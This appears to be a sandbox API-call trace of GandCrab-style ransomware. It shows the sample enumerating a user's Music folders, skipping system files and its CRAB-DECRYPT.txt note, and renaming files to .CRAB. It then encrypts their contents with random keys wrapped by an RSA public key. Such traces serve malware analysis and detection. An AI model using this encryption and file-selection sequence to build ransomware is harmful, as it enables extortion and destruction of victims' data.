	[0130.476] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.476] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e9e0) returned 1
	[0130.481] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.481] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.481] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.481] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0130.481] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0130.482] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.482] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0130.482] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0130.482] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0130.485] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x320fa50) returned 1
	[0130.485] CryptGetKeyParam (in: hKey=0x320fa50, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0130.485] CryptEncrypt (in: hKey=0x320fa50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0130.486] GetLastError () returned 0x0
	[0130.486] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.486] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0130.488] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x320fc10) returned 1
	[0130.488] CryptGetKeyParam (in: hKey=0x320fc10, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0130.488] CryptEncrypt (in: hKey=0x320fc10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0130.489] GetLastError () returned 0x0
	[0130.489] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.489] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\ckxmt\\5anheavr_lazua\\qt31bcqomxrzfovrfdzd.wav.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0130.489] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0130.490] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0130.490] ReadFile (in: hFile=0x3f4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314b474*=0x8ddf, lpOverlapped=0x0) returned 1
	[0130.503] VirtualAlloc (lpAddress=0x0, dwSize=0x8de0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0130.507] VirtualAlloc (lpAddress=0x0, dwSize=0x8de0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0130.508] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.508] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffff7221, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.509] WriteFile (in: hFile=0x3f4, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x8de0, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314b464*=0x8de0, lpOverlapped=0x0) returned 1
	[0130.509] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.509] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.524] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0130.524] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0130.524] WriteFile (in: hFile=0x3f4, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0130.524] CloseHandle (hObject=0x3f4) returned 1
	[0130.525] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.525] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.527] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.527] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.527] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.528] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.528] FindNextFileW (in: hFindFile=0x320f9d0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0130.528] FindClose (in: hFindFile=0x320f9d0 | out: hFindFile=0x320f9d0) returned 1
	[0130.531] FindNextFileW (in: hFindFile=0x320fa10, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0130.533] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0130.533] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0130.533] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\CRAB-DECRYPT.txt"
	[0130.533] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.533] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\CRAB-DECRYPT.txt") returned 60
	[0130.533] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\CRAB-DECRYPT.txt") returned 60
	[0130.533] lstrlenW (lpString=".txt") returned 4
	[0130.533] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.534] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0130.534] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.534] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\CRAB-DECRYPT.txt") returned 60
	[0130.534] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\CRAB-DECRYPT.txt") returned 60
	[0130.534] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0130.534] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0130.534] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0130.534] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0130.534] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0130.534] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0130.534] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0130.534] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0130.534] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0130.534] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.535] FindNextFileW (in: hFindFile=0x320fa10, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0130.535] lstrcmpW (lpString1="gjL2nlSg2_qQ.m4a", lpString2=".") returned 1
	[0130.535] lstrcmpW (lpString1="gjL2nlSg2_qQ.m4a", lpString2="..") returned 1
	[0130.535] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\", lpString2="gjL2nlSg2_qQ.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a"
	[0130.535] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.535] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a") returned 60
	[0130.535] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a") returned 60
	[0130.535] lstrlenW (lpString=".m4a") returned 4
	[0130.535] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.535] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".m4a ") returned 5
	[0130.535] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.536] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a") returned 60
	[0130.536] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a") returned 60
	[0130.536] lstrcmpiW (lpString1="gjL2nlSg2_qQ.m4a", lpString2="desktop.ini") returned 1
	[0130.536] lstrcmpiW (lpString1="gjL2nlSg2_qQ.m4a", lpString2="autorun.inf") returned 1
	[0130.536] lstrcmpiW (lpString1="gjL2nlSg2_qQ.m4a", lpString2="ntuser.dat") returned -1
	[0130.536] lstrcmpiW (lpString1="gjL2nlSg2_qQ.m4a", lpString2="iconcache.db") returned -1
	[0130.536] lstrcmpiW (lpString1="gjL2nlSg2_qQ.m4a", lpString2="bootsect.bak") returned 1
	[0130.536] lstrcmpiW (lpString1="gjL2nlSg2_qQ.m4a", lpString2="boot.ini") returned 1
	[0130.536] lstrcmpiW (lpString1="gjL2nlSg2_qQ.m4a", lpString2="ntuser.dat.log") returned -1
	[0130.536] lstrcmpiW (lpString1="gjL2nlSg2_qQ.m4a", lpString2="thumbs.db") returned -1
	[0130.536] lstrcmpiW (lpString1="gjL2nlSg2_qQ.m4a", lpString2="CRAB-DECRYPT.txt") returned 1
	[0130.536] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.536] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a.CRAB") returned 65
	[0130.536] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\ckxmt\\gjl2nlsg2_qq.m4a")) returned 0x20
	[0130.537] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a", dwFileAttributes=0x20) returned 1
	[0130.537] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\ckxmt\\gjl2nlsg2_qq.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\ckxmt\\gjl2nlsg2_qq.m4a.crab")) returned 1
	[0130.538] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0130.538] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a.CRAB"
	[0130.538] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a.CRAB.CRAB"
	[0130.538] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e6b0) returned 1
	[0130.541] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.541] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.542] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.542] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0130.542] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0130.542] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.542] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e738) returned 1
	[0130.545] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.545] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.545] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.545] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0130.545] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0130.545] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.546] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0130.546] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0130.546] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e7c0) returned 1
	[0130.549] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320f950) returned 1
	[0130.549] CryptGetKeyParam (in: hKey=0x320f950, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0130.549] CryptEncrypt (in: hKey=0x320f950, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0130.549] GetLastError () returned 0x0
	[0130.550] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0130.550] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0130.552] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320fc50) returned 1
	[0130.552] CryptGetKeyParam (in: hKey=0x320fc50, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0130.552] CryptEncrypt (in: hKey=0x320fc50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0130.553] GetLastError () returned 0x0
	[0130.553] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.553] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\gjL2nlSg2_qQ.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\ckxmt\\gjl2nlsg2_qq.m4a.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0130.554] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0130.554] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0130.555] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0x3a8f, lpOverlapped=0x0) returned 1
	[0130.567] VirtualAlloc (lpAddress=0x0, dwSize=0x3a90, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0130.568] VirtualAlloc (lpAddress=0x0, dwSize=0x3a90, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0130.569] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.569] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffffc571, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.569] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x3a90, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0x3a90, lpOverlapped=0x0) returned 1
	[0130.569] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.570] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.574] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0130.574] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0130.574] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0130.574] CloseHandle (hObject=0x3f0) returned 1
	[0130.574] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.574] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.574] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.575] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.575] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.576] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.576] FindNextFileW (in: hFindFile=0x320fa10, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0130.576] lstrcmpW (lpString1="HJ7RmokGBbchMiAdb7.wav", lpString2=".") returned 1
	[0130.576] lstrcmpW (lpString1="HJ7RmokGBbchMiAdb7.wav", lpString2="..") returned 1
	[0130.576] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\", lpString2="HJ7RmokGBbchMiAdb7.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav"
	[0130.576] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.577] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav") returned 66
	[0130.577] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav") returned 66
	[0130.577] lstrlenW (lpString=".wav") returned 4
	[0130.577] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.577] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".wav ") returned 5
	[0130.577] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.577] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav") returned 66
	[0130.577] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav") returned 66
	[0130.577] lstrcmpiW (lpString1="HJ7RmokGBbchMiAdb7.wav", lpString2="desktop.ini") returned 1
	[0130.577] lstrcmpiW (lpString1="HJ7RmokGBbchMiAdb7.wav", lpString2="autorun.inf") returned 1
	[0130.578] lstrcmpiW (lpString1="HJ7RmokGBbchMiAdb7.wav", lpString2="ntuser.dat") returned -1
	[0130.578] lstrcmpiW (lpString1="HJ7RmokGBbchMiAdb7.wav", lpString2="iconcache.db") returned -1
	[0130.578] lstrcmpiW (lpString1="HJ7RmokGBbchMiAdb7.wav", lpString2="bootsect.bak") returned 1
	[0130.578] lstrcmpiW (lpString1="HJ7RmokGBbchMiAdb7.wav", lpString2="boot.ini") returned 1
	[0130.578] lstrcmpiW (lpString1="HJ7RmokGBbchMiAdb7.wav", lpString2="ntuser.dat.log") returned -1
	[0130.578] lstrcmpiW (lpString1="HJ7RmokGBbchMiAdb7.wav", lpString2="thumbs.db") returned -1
	[0130.578] lstrcmpiW (lpString1="HJ7RmokGBbchMiAdb7.wav", lpString2="CRAB-DECRYPT.txt") returned 1
	[0130.578] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.578] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav.CRAB") returned 71
	[0130.578] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\ckxmt\\hj7rmokgbbchmiadb7.wav")) returned 0x20
	[0130.578] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav", dwFileAttributes=0x20) returned 1
	[0130.579] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\ckxmt\\hj7rmokgbbchmiadb7.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\ckxmt\\hj7rmokgbbchmiadb7.wav.crab")) returned 1
	[0130.580] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0130.580] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\HJ7RmokGBbchMiAdb7.wav.CRAB"
